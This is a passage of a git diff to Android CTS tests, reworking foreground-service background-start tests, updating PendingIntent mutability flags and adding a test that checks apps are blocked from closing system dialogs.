             CommandReceiver.sendCommand(mContext,
@@ -646,7 +685,6 @@
             uid1Watcher.finish();
             uid2Watcher.finish();
             uid3Watcher.finish();
-            enableFgsRestriction(false, true, null);
         }
     }
 
@@ -663,15 +701,19 @@
                 WAITFOR_MSEC);
 
         try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
             // APP1 is in BG state, bind FGSL in APP1 first.
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // Then start FGSL in APP1
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 is in FGS state
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
 
             // stop FGS
             CommandReceiver.sendCommand(mContext,
@@ -683,7 +725,6 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, true, null);
         }
     }
 
@@ -704,13 +745,15 @@
             // APP1 is in BG state, bind FGSL in APP1 first.
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            // Then start FGSL in APP1
+            // Then start FGS in APP1
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 does not enter FGS state
             try {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
@@ -725,7 +768,6 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, true, null);
         }
     }
 
@@ -749,6 +791,17 @@
         testFgsBindingFlag(Context.BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND);
     }
 
+    /**
+     * Test no binding flag.
+     * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, without any bind flag,
+     * the BG-FGS-launch ability can be passed to APP2 by service binding, then APP2 can start
+     * APP3 FGS from background.
+     */
+    @Test
+    public void testFgsBindingFlagNone() throws Exception {
+        testFgsBindingFlag(0);
+    }
+
     private void testFgsBindingFlag(int bindingFlag) throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -771,6 +824,7 @@
             final Intent intent = new Intent().setClassName(
                     PACKAGE_NAME_APP2, "android.app.stubs.LocalService");
 
+            /*
             final ServiceConnection connection = new ServiceConnection() {
                 @Override
                 public void onServiceConnected(ComponentName name, IBinder service) {
@@ -785,11 +839,13 @@
             });
 
             // APP2 can not start FGS in APP3.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             try {
-                uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
@@ -797,6 +853,7 @@
             // testapp unbind service in APP2.
             runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection));
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+            */
 
             // testapp is in background.
             // testapp binds to service in APP2 using the binding flag.
@@ -813,12 +870,15 @@
                     Context.BIND_AUTO_CREATE | Context.BIND_WAIVE_PRIORITY
                             | bindingFlag));
 
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // Because the binding flag,
             // APP2 can start FGS from background.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
 
             // testapp unbind service in APP2.
             runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection2));
@@ -832,7 +892,6 @@
             uid1Watcher.finish();
             uid2Watcher.finish();
             uid3Watcher.finish();
-            enableFgsRestriction(false, true, null);
         }
     }
 
@@ -849,23 +908,28 @@
             // Enable the FGS background startForeground() restriction.
             enableFgsRestriction(true, true, null);
             // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 does not enter FGS state
             try {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
 
             PermissionUtils.grantPermission(
                     PACKAGE_NAME_APP1, android.Manifest.permission.SYSTEM_ALERT_WINDOW);
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // Now it can start FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
             // Stop the FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -873,7 +937,6 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, true, null);
         }
     }
 
@@ -882,7 +945,8 @@
      */
     @Test
     // Change Settings.Global.DEVICE_DEMO_MODE on device may trigger other listener and put
-    // the device in undesired state, ignore this test for now.
+    // the device in undesired state, for example, the battery charge level is set to 35%
+    // permanently, ignore this test for now.
     @Ignore
     public void testFgsStartRetailDemoMode() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
@@ -897,12 +961,14 @@
             // Enable the FGS background startForeground() restriction.
             enableFgsRestriction(true, true, null);
             // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 does not enter FGS state
             try {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
@@ -910,11 +976,14 @@
             runWithShellPermissionIdentity(()-> {
                 Settings.Global.putInt(mContext.getContentResolver(),
                         Settings.Global.DEVICE_DEMO_MODE, 1); });
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // Now it can start FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
             // Stop the FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -922,7 +991,6 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, true, null);
             runWithShellPermissionIdentity(()-> {
                 Settings.Global.putInt(mContext.getContentResolver(),
                         Settings.Global.DEVICE_DEMO_MODE, mOrigDeviceDemoMode); });
@@ -946,7 +1014,6 @@
             expectedException = e;
         } finally {
             mContext.stopService(intent);
-            enableFgsRestriction(false, true, null);
             allowBgActivityStart("android.app.stubs", true);
         }
         String expectedMessage = "mAllowStartForeground false";
@@ -967,26 +1034,29 @@
             // Enable the FGS background startForeground() restriction.
             enableFgsRestriction(true, true, null);
             // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 does not enter FGS state
             try {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
 
-            // Put APP1 in AllowList.
-            enableTempAllowList(true);
             // Add package to AllowList.
             CtsAppTestUtils.executeShellCmd(mInstrumentation,
                     "dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // Now it can start FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
             // Stop the FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -994,8 +1064,6 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, true, null);
-            enableTempAllowList(false);
             // Remove package from AllowList.
             CtsAppTestUtils.executeShellCmd(mInstrumentation,
                     "dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
@@ -1014,24 +1082,31 @@
     private void testTempAllowListTypeInternal(int type) throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
+        ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP2, 0);
         WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
                 WAITFOR_MSEC);
+        WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+                WAITFOR_MSEC);
         try {
             // Enable the FGS background startForeground() restriction.
             enableFgsRestriction(true, true, null);
-            enableTempAllowList(true);
             // Start FGS in BG state.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             // APP1 does not enter FGS state
             try {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
 
             // Now it can start FGS.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             runWithShellPermissionIdentity(()-> {
                 final BroadcastOptions options = BroadcastOptions.makeBasic();
                 // setTemporaryAppWhitelistDuration API requires
@@ -1041,30 +1116,31 @@
                 // START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
                 CommandReceiver.sendCommandWithBroadcastOptions(mContext,
                         CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
-                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null,
+                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null,
                         options.toBundle());
             });
             if (type == TEMPORARY_WHITELIST_TYPE_FOREGROUND_SERVICE_ALLOWED) {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 // Stop the FGS.
                 CommandReceiver.sendCommand(mContext,
                         CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
-                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+                        PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+                uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                         WatchUidRunner.STATE_CACHED_EMPTY);
             } else if (type == TEMPORARY_WHITELIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED) {
                 // APP1 does not enter FGS state
                 try {
-                    uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
-                            WatchUidRunner.STATE_FG_SERVICE);
+                    waiter.doWait(WAITFOR_MSEC);
                     fail("Service should not enter foreground service state");
                 } catch (Exception e) {
                 }
             }
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, true, null);
-            enableTempAllowList(false);
+            uid2Watcher.finish();
+            // Sleep 10 seconds to let the temp allowlist expire so it won't affect next test case.
+            SystemClock.sleep(10000);
         }
 
     }
@@ -1094,20 +1170,6 @@
     }
 
     /**
-     * Turn on FGS BG-launch temp allowlist.
-     * @param enable true to allow temp allowlist, falst to disallow.
-     * @throws Exception
-     */
-    private void enableTempAllowList(boolean enable)
-            throws Exception {
-        runWithShellPermissionIdentity(() -> {
-            DeviceConfig.setProperty("activity_manager",
-                    KEY_DEFAULT_FGS_STARTS_TEMP_ALLOWLIST_ENABLED,
-                    Boolean.toString(enable), false);
-        });
-    }
-
-    /**
      * SYSTEM_ALERT_WINDOW permission will allow both BG-activity start and BG-FGS start.
      * Some cases we want to grant this permission to allow activity start to bring the app up to
      * TOP state.
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index d4f0df3..c7fef24 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -580,8 +580,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application finished tracker.
         ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(ACTIVITY_EXIT_ACTION);
@@ -666,8 +666,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application started tracker.
         ActivityReceiverFilter appStartedReceiver = new ActivityReceiverFilter(
@@ -714,8 +714,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application finished tracker.
         ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(
diff --git a/tests/app/src/android/app/cts/AlarmManagerTest.java b/tests/app/src/android/app/cts/AlarmManagerTest.java
index a0946a0..2a570d4 100644
--- a/tests/app/src/android/app/cts/AlarmManagerTest.java
+++ b/tests/app/src/android/app/cts/AlarmManagerTest.java
@@ -89,12 +89,12 @@
 
         mIntent = new Intent(MOCKACTION)
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, 0);
+        mSender = PendingIntent.getBroadcast(mContext, 0, mIntent, PendingIntent.FLAG_IMMUTABLE);
         mMockAlarmReceiver = new MockAlarmReceiver(mIntent.getAction());
 
         mIntent2 = new Intent(MOCKACTION2)
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND | Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-        mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, 0);
+        mSender2 = PendingIntent.getBroadcast(mContext, 0, mIntent2, PendingIntent.FLAG_IMMUTABLE);
         mMockAlarmReceiver2 = new MockAlarmReceiver(mIntent2.getAction());
 
         IntentFilter filter = new IntentFilter(mIntent.getAction());
@@ -310,7 +310,8 @@
             final long wakeupTimeSecond = System.currentTimeMillis()
                     + TEST_ALARM_FUTURITY;
             PendingIntent showIntentSecond = PendingIntent.getBroadcast(getContext(), 0,
-                    new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"), 0);
+                    new Intent(getContext(), AlarmManagerTest.class).setAction("SHOW_INTENT"),
+                    PendingIntent.FLAG_IMMUTABLE);
             mAm.setAlarmClock(new AlarmClockInfo(wakeupTimeSecond, showIntentSecond),
                     mSender2);
 
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
index 4b0fc78..548a37f 100644
--- a/tests/app/src/android/app/cts/ApplicationTest.java
+++ b/tests/app/src/android/app/cts/ApplicationTest.java
@@ -37,8 +37,8 @@
  */
 public class ApplicationTest extends InstrumentationTestCase {
     private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
-    // 2 is an arbitrary value.
-    private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 2";
+    // 1.2 is an arbitrary value.
+    private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 1.2";
 
     @Override
     public void tearDown() throws Exception {
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
new file mode 100644
index 0000000..7fefd24
--- /dev/null
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -0,0 +1,416 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static android.app.cts.NotificationManagerTest.toggleListenerAccess;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
+import android.app.stubs.TestNotificationListener;
+import android.app.stubs.shared.FakeView;
+import android.app.stubs.shared.ICloseSystemDialogsTestsService;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+import android.provider.Settings;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CloseSystemDialogsTest {
+    private static final String TEST_SERVICE =
+            "android.app.stubs.shared.CloseSystemDialogsTestService";
+    private static final String APP_COMPAT_ENABLE = "enable";
+    private static final String APP_COMPAT_DISABLE = "disable";
+    private static final String APP_COMPAT_RESET = "reset";
+    private static final String ACTION_SENTINEL = "sentinel";
+    private static final String REASON = "test";
+    private static final long TIMEOUT_MS = 3000;
+
+    /**
+     * This test is not self-instrumenting, so we need to bind to the service in the instrumentation
+     * target package (instead of our package).
+     */
+    private static final String APP_SELF = "android.app.stubs";
+
+    /**
+     * Use com.android.app1 instead of android.app.stubs because the latter is the target of
+     * instrumentation, hence it also has shell powers for {@link
+     * Intent#ACTION_CLOSE_SYSTEM_DIALOGS} and we don't want those powers under simulation.
+     */
+    private static final String APP_HELPER = "com.android.app1";
+
+    private Instrumentation mInstrumentation;
+    private FutureServiceConnection mConnection;
+    private Context mContext;
+    private ContentResolver mResolver;
+    private ICloseSystemDialogsTestsService mService;
+    private volatile WindowManager mSawWindowManager;
+    private volatile Context mSawContext;
+    private volatile CompletableFuture<Void> mCloseSystemDialogsReceived;
+    private volatile ConditionVariable mSentinelReceived;
+    private volatile FakeView mFakeView;
+    private IntentReceiver mIntentReceiver;
+    private Handler mMainHandler;
+    private TestNotificationListener mNotificationListener;
+    private NotificationHelper mNotificationHelper;
+    private String mPreviousHiddenApiPolicy;
+
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+        mResolver = mContext.getContentResolver();
+        mMainHandler = new Handler(Looper.getMainLooper());
+        toggleListenerAccess(mContext, true);
+        mNotificationListener = TestNotificationListener.getInstance();
+        mNotificationHelper = new NotificationHelper(mContext, () -> mNotificationListener);
+        compat(APP_COMPAT_ENABLE, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        setTargetCurrent();
+
+        // We need to test that a few hidden APIs are properly protected in the helper app. The
+        // helper app we're using doesn't have the checks disabled because it's not the target of
+        // instrumentation, see comment on APP_HELPER for details.
+        mPreviousHiddenApiPolicy = setHiddenApiPolicy("1");
+
+        // Add a receiver that will verify if the intent was sent or not
+        mIntentReceiver = new IntentReceiver();
+        mCloseSystemDialogsReceived = new CompletableFuture<>();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
+        filter.addAction(ACTION_SENTINEL);
+        mContext.registerReceiver(mIntentReceiver, filter);
+
+        // Add a view to verify if the view got the callback or not
+        mSawContext = getContextForSaw(mContext);
+        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+        mMainHandler.post(() -> {
+            mFakeView = new FakeView(mSawContext);
+            mSawWindowManager.addView(mFakeView, new LayoutParams(TYPE_APPLICATION_OVERLAY));
+        });
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mConnection != null) {
+            mContext.unbindService(mConnection);
+        }
+        mMainHandler.post(() -> mSawWindowManager.removeViewImmediate(mFakeView));
+        mContext.unregisterReceiver(mIntentReceiver);
+        setHiddenApiPolicy(mPreviousHiddenApiPolicy);
+        compat(APP_COMPAT_RESET, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
+        compat(APP_COMPAT_RESET, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
+        mNotificationListener.resetData();
+    }
+
+    /** Intent.ACTION_CLOSE_SYSTEM_DIALOGS */
+
+    @Test
+    public void testCloseSystemDialogs_whenTargetSdkCurrent_isBlockedAndThrows() throws Exception {
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class, () -> mService.sendCloseSystemDialogsBroadcast());
+
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenTargetSdk30_isBlockedButDoesNotThrow() throws Exception {
+        setTargetSdk30();
+        mService = getService(APP_HELPER);
+
+        mService.sendCloseSystemDialogsBroadcast();
+
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenTestInstrumentedViaShell_isSent() throws Exception {
+        mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_whenRunningAsShell_isSent() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)));
+
+        assertCloseSystemDialogsReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_inTrampolineWhenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        int notificationId = 42;
+        CompletableFuture<Integer> result = new CompletableFuture<>();
+        mService = getService(APP_HELPER);
+
+        mService.postNotification(notificationId, new FutureReceiver(result));
+
+        mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+        assertThat(result.get()).isEqualTo(
+                ICloseSystemDialogsTestsService.RESULT_SECURITY_EXCEPTION);
+        assertCloseSystemDialogsNotReceived();
+    }
+
+    @Test
+    public void testCloseSystemDialogs_inTrampolineWhenTargetSdk30_isSent() throws Exception {
+        setTargetSdk30();
+        int notificationId = 43;
+        CompletableFuture<Integer> result = new CompletableFuture<>();
+        mService = getService(APP_HELPER);
+
+        mService.postNotification(notificationId, new FutureReceiver(result));
+
+        mNotificationHelper.clickNotification(notificationId, /* searchAll */ true);
+        assertThat(result.get()).isEqualTo(
+                ICloseSystemDialogsTestsService.RESULT_OK);
+        assertCloseSystemDialogsReceived();
+    }
+
+    /** IWindowManager.closeSystemDialogs() */
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTestInstrumentedViaShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        mService.closeSystemDialogsViaWindowManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenRunningAsShell_isSent()
+            throws Exception {
+        mService = getService(APP_SELF);
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(REASON);
+    }
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTargetSdkCurrent_isBlockedAndThrows()
+            throws Exception {
+        mService = getService(APP_HELPER);
+
+        assertThrows(SecurityException.class,
+                () -> mService.closeSystemDialogsViaWindowManager(REASON));
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+    }
+
+
+    @Test
+    public void testCloseSystemDialogsViaWindowManager_whenTargetSdk30_isBlockedButDoesNotThrow()
+            throws Exception {
+        setTargetSdk30();
+        mService = getService(APP_HELPER);
+
+        mService.closeSystemDialogsViaWindowManager(REASON);
+
+        assertThat(mFakeView.getNextCloseSystemDialogsCallReason(TIMEOUT_MS)).isEqualTo(null);
+    }
+
+    /** IActivityManager.closeSystemDialogs() */
+
